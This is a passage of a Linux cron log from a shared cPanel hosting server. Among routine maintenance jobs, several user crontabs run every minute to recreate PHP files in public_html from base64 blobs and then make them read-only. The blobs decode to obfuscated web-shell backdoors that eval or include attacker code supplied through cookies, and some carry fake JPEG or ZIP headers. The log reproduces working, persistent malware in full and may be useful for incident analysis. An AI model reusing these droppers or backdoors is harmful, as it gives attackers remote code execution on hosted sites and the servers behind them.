AgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 09:39:02 medusa CROND[27178]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 09:39:02 medusa CROND[27180]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 09:39:02 medusa CROND[27179]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 09:39:02 medusa CROND[27181]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 09:39:02 medusa CROND[27182]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 09:39:02 medusa CROND[27193]: (cerramientosco) CMD (cd /home12/cerramientosco/app.cerramientosandco.com; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  2 09:39:02 medusa CROND[27189]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Mar  2 09:39:02 medusa CROND[27195]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 09:39:02 medusa CROND[27198]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 09:40:01 medusa CROND[13666]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 09:40:01 medusa CROND[13705]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  2 09:40:01 medusa CROND[13747]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  2 09:40:02 medusa CROND[13917]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  2 09:40:02 medusa CROND[13947]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Mar  2 09:40:02 medusa CROND[13950]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  2 09:40:02 medusa CROND[13951]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 09:40:02 medusa CROND[13954]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  2 09:40:02 medusa CROND[13958]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 09:40:02 medusa CROND[13959]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 09:40:02 medusa CROND[13956]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Mar  2 09:40:02 medusa CROND[13957]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 09:40:02 medusa CROND[13955]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  2 09:40:02 medusa CROND[13963]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 09:40:02 medusa CROND[13964]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  2 09:40:02 medusa CROND[13977]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 09:40:02 medusa CROND[13976]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 09:40:02 medusa CROND[13969]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Mar  2 09:40:02 medusa CROND[13965]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  2 09:40:02 medusa CROND[13979]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  2 09:40:02 medusa CROND[13980]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  2 09:40:02 medusa CROND[13994]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  2 09:40:02 medusa CROND[13995]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 09:40:02 medusa CROND[14000]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 09:40:02 medusa CROND[14001]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 09:40:02 medusa CROND[13998]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Mar  2 09:40:02 medusa CROND[13996]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 09:40:02 medusa CROND[13993]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Mar  2 09:41:01 medusa CROND[31614]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 09:41:01 medusa CROND[31615]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 09:41:01 medusa CROND[31618]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  2 09:41:01 medusa CROND[31619]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 09:41:01 medusa CROND[31620]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 09:41:01 medusa CROND[31617]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  2 09:41:01 medusa CROND[31622]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRV